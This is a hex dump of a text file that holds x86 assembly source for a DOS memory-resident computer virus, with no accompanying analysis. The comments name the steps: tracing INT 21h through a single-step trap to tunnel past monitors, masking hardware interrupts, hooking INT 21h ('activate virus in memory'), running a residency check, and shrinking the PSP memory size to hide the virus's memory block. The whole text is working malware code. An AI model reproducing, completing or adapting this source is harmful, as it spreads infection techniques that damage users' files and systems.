|00001060| 20 6d 6f 76 20 20 20 20 | 20 63 73 3a 69 6e 69 74 | mov    | cs:init|
|00001070| 69 61 6c 61 78 2c 61 78 | 20 20 20 20 20 20 20 20 |ialax,ax|        |
|00001080| 20 3b 20 73 61 76 65 20 | 69 6e 69 74 69 61 6c 20 | ; save |initial |
|00001090| 76 61 6c 75 65 20 66 6f | 72 20 61 78 0d 0a 20 20 |value fo|r ax..  |
|000010a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|000010b0| 76 20 20 20 20 20 61 68 | 2c 33 30 68 20 20 20 20 |v     ah|,30h    |
|000010c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |        |      ; |
|000010d0| 47 65 74 20 44 4f 53 20 | 76 65 72 73 69 6f 6e 0d |Get DOS |version.|
|000010e0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000010f0| 20 69 6e 74 20 20 20 20 | 20 32 31 68 0d 0a 0d 0a | int    | 21h....|
|00001100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001110| 6d 6f 76 20 20 20 20 20 | 63 73 3a 44 4f 53 76 65 |mov     |cs:DOSve|
|00001120| 72 73 69 6f 6e 2c 61 6c | 20 20 20 20 20 20 20 20 |rsion,al|        |
|00001130| 3b 20 53 61 76 65 20 44 | 4f 53 20 76 65 72 73 69 |; Save D|OS versi|
|00001140| 6f 6e 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |on..    |        |
|00001150| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 73 3a 63 |    mov |    cs:c|
|00001160| 61 72 72 69 65 72 50 53 | 50 2c 64 73 20 20 20 20 |arrierPS|P,ds    |
|00001170| 20 20 20 20 3b 20 53 61 | 76 65 20 50 53 50 20 73 |    ; Sa|ve PSP s|
|00001180| 65 67 6d 65 6e 74 0d 0a | 20 20 20 20 20 20 20 20 |egment..|        |
|00001190| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000011a0| 61 68 2c 35 32 68 20 20 | 20 20 20 20 20 20 20 20 |ah,52h  |        |
|000011b0| 20 20 20 20 20 20 20 20 | 3b 20 47 65 74 20 6c 69 |        |; Get li|
|000011c0| 73 74 20 6f 66 20 6c 69 | 73 74 73 0d 0a 20 20 20 |st of li|sts..   |
|000011d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 |        |     int|
|000011e0| 20 20 20 20 20 32 31 68 | 0d 0a 0d 0a 20 20 20 20 |     21h|....    |
|000011f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00001200| 20 20 20 20 61 78 2c 65 | 73 3a 5b 62 78 2d 32 5d |    ax,e|s:[bx-2]|
|00001210| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 73 65 |        |    ; se|
|00001220| 67 6d 65 6e 74 20 6f 66 | 20 66 69 72 73 74 20 4d |gment of| first M|
|00001230| 43 42 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |CB..    |        |
|00001240| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 73 3a 44 |    mov |    cs:D|
|00001250| 4f 53 73 65 67 6d 65 6e | 74 2c 61 78 20 20 20 20 |OSsegmen|t,ax    |
|00001260| 20 20 20 20 3b 20 73 61 | 76 65 20 69 74 20 66 6f |    ; sa|ve it fo|
|00001270| 72 20 75 73 65 20 69 6e | 20 69 6e 74 20 31 0d 0a |r use in| int 1..|
|00001280| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001290| 6d 6f 76 20 20 20 20 20 | 65 73 2c 61 78 20 20 20 |mov     |es,ax   |
|000012a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000012b0| 3b 20 65 73 20 3d 20 73 | 65 67 6d 65 6e 74 20 66 |; es = s|egment f|
|000012c0| 69 72 73 74 20 4d 43 42 | 0d 0a 20 20 20 20 20 20 |irst MCB|..      |
|000012d0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|000012e0| 20 20 61 78 2c 65 73 3a | 5b 31 5d 20 20 20 20 20 |  ax,es:|[1]     |
|000012f0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 47 65 74 20 |        |  ; Get |
|00001300| 6f 77 6e 65 72 20 6f 66 | 20 66 69 72 73 74 20 4d |owner of| first M|
|00001310| 43 42 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |CB..    |        |
|00001320| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 73 3a 6f |    mov |    cs:o|
|00001330| 77 6e 65 72 66 69 72 73 | 74 4d 43 42 2c 61 78 20 |wnerfirs|tMCB,ax |
|00001340| 20 20 20 20 3b 20 73 61 | 76 65 20 69 74 0d 0a 20 |    ; sa|ve it.. |
|00001350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00001360| 75 73 68 20 20 20 20 63 | 73 0d 0a 20 20 20 20 20 |ush    c|s..     |
|00001370| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00001380| 20 20 20 64 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |   ds.. |        |
|00001390| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|000013a0| 6c 2c 31 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |l,1     |        |
|000013b0| 20 20 20 20 20 20 20 3b | 20 67 65 74 20 73 69 6e |       ;| get sin|
|000013c0| 67 6c 65 20 73 74 65 70 | 20 76 65 63 74 6f 72 0d |gle step| vector.|
|000013d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000013e0| 20 63 61 6c 6c 20 20 20 | 20 67 65 74 69 6e 74 0d | call   | getint.|
|000013f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00001400| 20 6d 6f 76 20 20 20 20 | 20 77 6f 72 64 20 70 74 | mov    | word pt|
|00001410| 72 20 64 73 3a 6f 6c 64 | 69 6e 74 31 2c 62 78 20 |r ds:old|int1,bx |
|00001420| 20 3b 20 73 61 76 65 20 | 69 74 20 66 6f 72 20 6c | ; save |it for l|
|00001430| 61 74 65 72 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ater..  |        |
|00001440| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 77 6f |      mo|v     wo|
|00001450| 72 64 20 70 74 72 20 64 | 73 3a 6f 6c 64 69 6e 74 |rd ptr d|s:oldint|
|00001460| 31 2b 32 2c 65 73 3b 20 | 72 65 73 74 6f 72 61 74 |1+2,es; |restorat|
|00001470| 69 6f 6e 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ion..   |        |
|00001480| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 6c 2c |     mov|     al,|
|00001490| 32 31 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |21h     |        |
|000014a0| 20 20 20 20 20 3b 20 67 | 65 74 20 69 6e 74 20 32 |     ; g|et int 2|
|000014b0| 31 68 20 76 65 63 74 6f | 72 0d 0a 20 20 20 20 20 |1h vecto|r..     |
|000014c0| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |        |   call |
|000014d0| 20 20 20 67 65 74 69 6e | 74 0d 0a 20 20 20 20 20 |   getin|t..     |
|000014e0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000014f0| 20 20 20 77 6f 72 64 20 | 70 74 72 20 64 73 3a 6f |   word |ptr ds:o|
|00001500| 72 69 67 69 6e 74 73 2c | 62 78 0d 0a 20 20 20 20 |rigints,|bx..    |
|00001510| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00001520| 20 20 20 20 77 6f 72 64 | 20 70 74 72 20 64 73 3a |    word| ptr ds:|
|00001530| 6f 72 69 67 69 6e 74 73 | 2b 32 2c 65 73 0d 0a 20 |origints|+2,es.. |
|00001540| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00001550| 6f 76 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |ov     b|yte ptr |
|00001560| 64 73 3a 74 72 61 63 65 | 6d 6f 64 65 2c 30 20 3b |ds:trace|mode,0 ;|
|00001570| 20 72 65 67 75 6c 61 72 | 20 74 72 61 63 65 20 6d | regular| trace m|
|00001580| 6f 64 65 20 6f 6e 0d 0a | 20 20 20 20 20 20 20 20 |ode on..|        |
|00001590| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000015a0| 64 78 2c 6f 66 66 73 65 | 74 20 69 6e 74 31 20 20 |dx,offse|t int1  |
|000015b0| 20 20 20 20 20 20 20 20 | 3b 20 73 65 74 20 6e 65 |        |; set ne|
|000015c0| 77 20 69 6e 74 20 31 20 | 68 61 6e 64 6c 65 72 0d |w int 1 |handler.|
|000015d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000015e0| 20 6d 6f 76 20 20 20 20 | 20 61 6c 2c 31 0d 0a 20 | mov    | al,1.. |
|000015f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 |        |       c|
|00001600| 61 6c 6c 20 20 20 20 73 | 65 74 76 65 63 74 0d 0a |all    s|etvect..|
|00001610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001620| 70 75 73 68 66 0d 0a 20 | 20 20 20 20 20 20 20 20 |pushf.. |        |
|00001630| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 61 |       p|op     a|
|00001640| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|00001650| 20 20 20 6f 72 20 20 20 | 20 20 20 61 78 2c 31 30 |   or   |   ax,10|
|00001660| 30 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h      |        |
|00001670| 20 20 20 3b 20 74 75 72 | 6e 20 6f 6e 20 74 72 61 |   ; tur|n on tra|
|00001680| 70 20 66 6c 61 67 0d 0a | 20 20 20 20 20 20 20 20 |p flag..|        |
|00001690| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|000016a0| 61 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax..    |        |
|000016b0| 20 20 20 20 69 6e 20 20 | 20 20 20 20 61 6c 2c 32 |    in  |    al,2|
|000016c0| 31 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h      |        |
|000016d0| 20 20 20 20 3b 20 47 65 | 74 20 6f 6c 64 20 49 4d |    ; Ge|t old IM|
|000016e0| 52 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |R..     |        |
|000016f0| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 3a 73 61 |   mov  |   ds:sa|
|00001700| 76 65 49 4d 52 2c 61 6c | 0d 0a 20 20 20 20 20 20 |veIMR,al|..      |
|00001710| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00001720| 20 20 61 6c 2c 30 46 46 | 68 20 20 20 20 20 20 20 |  al,0FF|h       |
|00001730| 20 20 20 20 20 20 20 20 | 20 20 3b 20 64 69 73 61 |        |  ; disa|
|00001740| 62 6c 65 20 61 6c 6c 20 | 69 6e 74 65 72 72 75 70 |ble all |interrup|
|00001750| 74 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ts..    |        |
|00001760| 20 20 20 20 6f 75 74 20 | 20 20 20 20 32 31 68 2c |    out |    21h,|
|00001770| 61 6c 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |al..    |        |
|00001780| 20 20 20 20 70 6f 70 66 | 0d 0a 20 20 20 20 20 20 |    popf|..      |
|00001790| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|000017a0| 20 20 61 68 2c 35 32 68 | 20 20 20 20 20 20 20 20 |  ah,52h|        |
|000017b0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 47 65 74 20 |        |  ; Get |
|000017c0| 6c 69 73 74 20 6f 66 20 | 6c 69 73 74 73 0d 0a 20 |list of |lists.. |
|000017d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|000017e0| 75 73 68 66 20 20 20 20 | 20 20 20 20 20 20 20 20 |ushf    |        |
|000017f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |        |       ;|
|00001800| 20 28 66 6f 72 20 74 72 | 61 63 69 6e 67 20 70 75 | (for tr|acing pu|
|00001810| 72 70 6f 73 65 73 29 0d | 0a 20 20 20 20 20 20 20 |rposes).|.       |
|00001820| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |        | call   |
|00001830| 20 64 77 6f 72 64 20 70 | 74 72 20 64 73 3a 6f 72 | dword p|tr ds:or|
|00001840| 69 67 69 6e 74 73 20 20 | 20 3b 20 70 65 72 66 6f |igints  | ; perfo|
|00001850| 72 6d 20 74 68 65 20 74 | 75 6e 6e 65 6c 6c 69 6e |rm the t|unnellin|
|00001860| 67 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |g..     |        |
|00001870| 20 20 20 70 75 73 68 66 | 0d 0a 20 20 20 20 20 20 |   pushf|..      |
|00001880| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |        |  pop   |
|00001890| 20 20 61 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  ax..  |        |
|000018a0| 20 20 20 20 20 20 61 6e | 64 20 20 20 20 20 61 78 |      an|d     ax|
|000018b0| 2c 30 46 45 46 46 68 20 | 20 20 20 20 20 20 20 20 |,0FEFFh |        |
|000018c0| 20 20 20 20 20 20 3b 20 | 74 75 72 6e 20 6f 66 66 |      ; |turn off|
|000018d0| 20 74 72 61 70 20 66 6c | 61 67 0d 0a 20 20 20 20 | trap fl|ag..    |
|000018e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |        |    push|
|000018f0| 20 20 20 20 61 78 0d 0a | 20 20 20 20 20 20 20 20 |    ax..|        |
|00001900| 20 20 20 20 20 20 20 20 | 70 6f 70 66 0d 0a 20 20 |        |popf..  |
|00001910| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00001920| 76 20 20 20 20 20 61 6c | 2c 64 73 3a 73 61 76 65 |v     al|,ds:save|
|00001930| 49 4d 52 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |IMR     |      ; |
|00001940| 72 65 65 6e 61 62 6c 65 | 20 69 6e 74 65 72 72 75 |reenable| interru|
|00001950| 70 74 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |pts..   |        |
|00001960| 20 20 20 20 20 6f 75 74 | 20 20 20 20 20 32 31 68 |     out|     21h|
|00001970| 2c 61 6c 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |,al..   |        |
|00001980| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 64 73 0d |     pus|h    ds.|
|00001990| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000019a0| 20 6c 64 73 20 20 20 20 | 20 64 78 2c 64 77 6f 72 | lds    | dx,dwor|
|000019b0| 64 20 70 74 72 20 64 73 | 3a 6f 6c 64 69 6e 74 31 |d ptr ds|:oldint1|
|000019c0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000019d0| 20 20 6d 6f 76 20 20 20 | 20 20 61 6c 2c 31 20 20 |  mov   |  al,1  |
|000019e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000019f0| 20 20 3b 20 72 65 73 74 | 6f 72 65 20 69 6e 74 20 |  ; rest|ore int |
|00001a00| 31 20 74 6f 20 74 68 65 | 0d 0a 20 20 20 20 20 20 |1 to the|..      |
|00001a10| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |        |  call  |
|00001a20| 20 20 73 65 74 76 65 63 | 74 20 20 20 20 20 20 20 |  setvec|t       |
|00001a30| 20 20 20 20 20 20 20 20 | 20 20 3b 20 6f 72 69 67 |        |  ; orig|
|00001a40| 69 6e 61 6c 20 68 61 6e | 64 6c 65 72 0d 0a 20 20 |inal han|dler..  |
|00001a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00001a60| 70 20 20 20 20 20 64 73 | 0d 0a 20 20 20 20 20 20 |p     ds|..      |
|00001a70| 20 20 20 20 20 20 20 20 | 20 20 6c 65 73 20 20 20 |        |  les   |
|00001a80| 20 20 64 69 2c 64 77 6f | 72 64 20 70 74 72 20 64 |  di,dwo|rd ptr d|
|00001a90| 73 3a 6f 72 69 67 69 6e | 74 73 3b 20 73 65 74 20 |s:origin|ts; set |
|00001aa0| 75 70 20 69 6e 74 20 32 | 31 68 20 68 61 6e 64 6c |up int 2|1h handl|
|00001ab0| 65 72 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ers..   |        |
|00001ac0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 |     mov|     wor|
|00001ad0| 64 20 70 74 72 20 64 73 | 3a 6f 6c 64 69 6e 74 32 |d ptr ds|:oldint2|
|00001ae0| 31 2c 64 69 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |1,di..  |        |
|00001af0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 77 6f |      mo|v     wo|
|00001b00| 72 64 20 70 74 72 20 64 | 73 3a 6f 6c 64 69 6e 74 |rd ptr d|s:oldint|
|00001b10| 32 31 2b 32 2c 65 73 0d | 0a 20 20 20 20 20 20 20 |21+2,es.|.       |
|00001b20| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00001b30| 20 62 79 74 65 20 70 74 | 72 20 64 73 3a 6a 6d 70 | byte pt|r ds:jmp|
|00001b40| 66 61 72 70 74 72 2c 30 | 45 41 68 20 3b 20 6a 6d |farptr,0|EAh ; jm|
|00001b50| 70 20 66 61 72 20 70 74 | 72 0d 0a 20 20 20 20 20 |p far pt|r..     |
|00001b60| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00001b70| 20 20 20 77 6f 72 64 20 | 70 74 72 20 64 73 3a 69 |   word |ptr ds:i|
|00001b80| 6e 74 32 31 73 74 6f 72 | 65 2c 6f 66 66 73 65 74 |nt21stor|e,offset|
|00001b90| 20 6f 74 68 65 72 69 6e | 74 32 31 0d 0a 20 20 20 | otherin|t21..   |
|00001ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00001bb0| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 64 73 |     wor|d ptr ds|
|00001bc0| 3a 69 6e 74 32 31 73 74 | 6f 72 65 2b 32 2c 63 73 |:int21st|ore+2,cs|
|00001bd0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00001be0| 20 20 63 61 6c 6c 20 20 | 20 20 73 77 61 70 76 69 |  call  |  swapvi|
|00001bf0| 72 69 6e 74 32 31 20 20 | 20 20 20 20 20 20 20 20 |rint21  |        |
|00001c00| 20 20 3b 20 61 63 74 69 | 76 61 74 65 20 76 69 72 |  ; acti|vate vir|
|00001c10| 75 73 20 69 6e 20 6d 65 | 6d 6f 72 79 0d 0a 20 20 |us in me|mory..  |
|00001c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00001c30| 76 20 20 20 20 20 61 78 | 2c 34 42 30 30 68 0d 0a |v     ax|,4B00h..|
|00001c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001c50| 6d 6f 76 20 20 20 20 20 | 64 73 3a 63 68 65 63 6b |mov     |ds:check|
|00001c60| 72 65 73 2c 61 68 20 20 | 20 20 20 20 20 20 20 20 |res,ah  |        |
|00001c70| 3b 20 73 65 74 20 72 65 | 73 69 64 65 6e 74 20 66 |; set re|sident f|
|00001c80| 6c 61 67 20 74 6f 20 61 | 0d 0a 20 20 20 20 20 20 |lag to a|..      |
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001cb0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 64 75 6d 6d |        |  ; dumm|
|00001cc0| 79 20 76 61 6c 75 65 0d | 0a 20 20 20 20 20 20 20 |y value.|.       |
|00001cd0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00001ce0| 20 64 78 2c 6f 66 66 73 | 65 74 20 45 58 45 66 6c | dx,offs|et EXEfl|
|00001cf0| 61 67 2b 31 20 20 20 20 | 20 3b 20 73 61 76 65 20 |ag+1    | ; save |
|00001d00| 45 58 45 20 66 6c 61 67 | 0d 0a 20 20 20 20 20 20 |EXE flag|..      |
|00001d10| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00001d20| 20 20 77 6f 72 64 20 70 | 74 72 20 64 73 3a 45 58 |  word p|tr ds:EX|
|00001d30| 45 66 6c 61 67 0d 0a 20 | 20 20 20 20 20 20 20 20 |Eflag.. |        |
|00001d40| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 |       i|nt     2|
|00001d50| 31 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h      |        |
|00001d60| 20 20 20 20 20 20 20 3b | 20 69 6e 73 74 61 6c 6c |       ;| install|
|00001d70| 61 74 69 6f 6e 20 63 68 | 65 63 6b 0d 0a 20 20 20 |ation ch|eck..   |
|00001d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 72 |        |     ; r|
|00001db0| 65 74 75 72 6e 73 20 63 | 68 65 63 6b 72 65 73 3d |eturns c|heckres=|
|00001dc0| 30 20 69 66 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |0 if..  |        |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001de0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001df0| 20 20 20 20 20 20 3b 20 | 69 6e 73 74 61 6c 6c 65 |      ; |installe|
|00001e00| 64 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |d....   |        |
|00001e10| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 77 6f 72 |     pop|     wor|
|00001e20| 64 20 70 74 72 20 64 73 | 3a 45 58 45 66 6c 61 67 |d ptr ds|:EXEflag|
|00001e30| 20 20 20 20 20 3b 20 72 | 65 73 74 6f 72 65 20 45 |     ; r|estore E|
|00001e40| 58 45 20 66 6c 61 67 0d | 0a 20 20 20 20 20 20 20 |XE flag.|.       |
|00001e50| 20 20 20 20 20 20 20 20 | 20 61 64 64 20 20 20 20 |        | add    |
|00001e60| 20 77 6f 72 64 20 70 74 | 72 20 65 73 3a 5b 64 69 | word pt|r es:[di|
|00001e70| 2d 34 5d 2c 39 0d 0a 20 | 20 20 20 20 20 20 20 20 |-4],9.. |        |
|00001e80| 20 20 20 20 20 20 20 6e | 6f 70 20 20 20 20 20 20 |       n|op      |
|00001e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001ea0| 20 20 20 20 20 20 20 3b | 20 21 3f 0d 0a 20 20 20 |       ;| !?..   |
|00001eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00001ec0| 20 20 20 20 20 65 73 2c | 64 73 3a 63 61 72 72 69 |     es,|ds:carri|
|00001ed0| 65 72 50 53 50 20 20 20 | 20 20 20 20 20 3b 20 72 |erPSP   |     ; r|
|00001ee0| 65 73 74 6f 72 65 20 45 | 53 20 61 6e 64 20 44 53 |estore E|S and DS|
|00001ef0| 20 74 6f 20 74 68 65 69 | 72 0d 0a 20 20 20 20 20 | to thei|r..     |
|00001f00| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00001f10| 20 20 20 64 73 2c 64 73 | 3a 63 61 72 72 69 65 72 |   ds,ds|:carrier|
|00001f20| 50 53 50 20 20 20 20 20 | 20 20 20 3b 20 6f 72 69 |PSP     |   ; ori|
|00001f30| 67 69 6e 61 6c 20 76 61 | 6c 75 65 73 0d 0a 20 20 |ginal va|lues..  |
|00001f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 73 75 |        |      su|
|00001f50| 62 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 64 |b     wo|rd ptr d|
|00001f60| 73 3a 5b 32 5d 2c 28 74 | 6f 70 73 74 61 63 6b 2f |s:[2],(t|opstack/|
|00001f70| 31 30 68 29 2b 31 0d 0a | 20 20 20 20 20 20 20 20 |10h)+1..|        |
|00001f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001fa0| 20 20 20 20 20 20 20 20 | 3b 20 61 6c 74 65 72 20 |        |; alter |
|00001fb0| 74 6f 70 20 6f 66 20 6d | 65 6d 6f 72 79 20 69 6e |top of m|emory in|
|00001fc0| 20 50 53 50 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | PSP..  |        |
|00001fd0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 70 |      mo|v     bp|
|00001fe0| 2c 64 73 3a 5b 32 5d 20 | 20 20 20 20 20 20 20 20 |,ds:[2] |        |
|00001ff0| 20 20 20 20 20 20 3b 20 | 67 65 74 20 73 65 67 6d |      ; |get segm|
|00002000| 65 6e 74 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ent..   |        |
|00002010| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 78 2c |     mov|     dx,|
|00002020| 64 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ds..    |        |
|00002030| 20 20 20 20 73 75 62 20 | 20 20 20 20 62 70 2c 64 |    sub |    bp,d|
|00002040| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|00002050| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 34 41 |   mov  |   ah,4A|
|00002060| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00002070| 20 20 20 3b 20 46 69 6e | 64 20 74 6f 74 61 6c 20 |   ; Fin|d total |
|00002080| 61 76 61 69 6c 61 62 6c | 65 20 6d 65 6d 6f 72 79 |availabl|e memory|
|00002090| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000020a0| 20 20 6d 6f 76 20 20 20 | 20 20 62 78 2c 30 46 46 |  mov   |  bx,0FF|
|000020b0| 46 46 68 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |FFh..   |        |
|000020c0| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 |     int|     21h|
|000020d0| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|000020e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 68 2c 34 |    mov |    ah,4|
|000020f0| 41 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |Ah      |        |
|00002100| 20 20 20 20 3b 20 41 6c | 6c 6f 63 61 74 65 20 61 |    ; Al|locate a|
|00002110| 6c 6c 20 61 76 61 69 6c | 61 62 6c 65 20 6d 65 6d |ll avail|able mem|
|00002120| 6f 72 79 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ory..   |        |
|00002130| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 |     int|     21h|
|00002140| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00002150| 20 20 20 20 64 65 63 20 | 20 20 20 20 64 78 20 20 |    dec |    dx  |
|00002160| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002170| 20 20 20 20 3b 20 67 6f | 20 74 6f 20 4d 43 42 20 |    ; go| to MCB |
|00002180| 6f 66 20 76 69 72 75 73 | 20 6d 65 6d 6f 72 79 0d |of virus| memory.|
|00002190| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000021a0| 20 6d 6f 76 20 20 20 20 | 20 64 73 2c 64 78 0d 0a | mov    | ds,dx..|
|000021b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000021c0| 63 6d 70 20 20 20 20 20 | 62 79 74 65 20 70 74 72 |cmp     |byte ptr|
|000021d0| 20 64 73 3a 5b 30 5d 2c | 27 5a 27 20 20 20 20 20 | ds:[0],|'Z'     |
|000021e0| 3b 20 69 73 20 69 74 20 | 74 68 65 20 6c 61 73 74 |; is it |the last|
|000021f0| 20 62 6c 6f 63 6b 3f 0d | 0a 20 20 20 20 20 20 20 | block?.|.       |
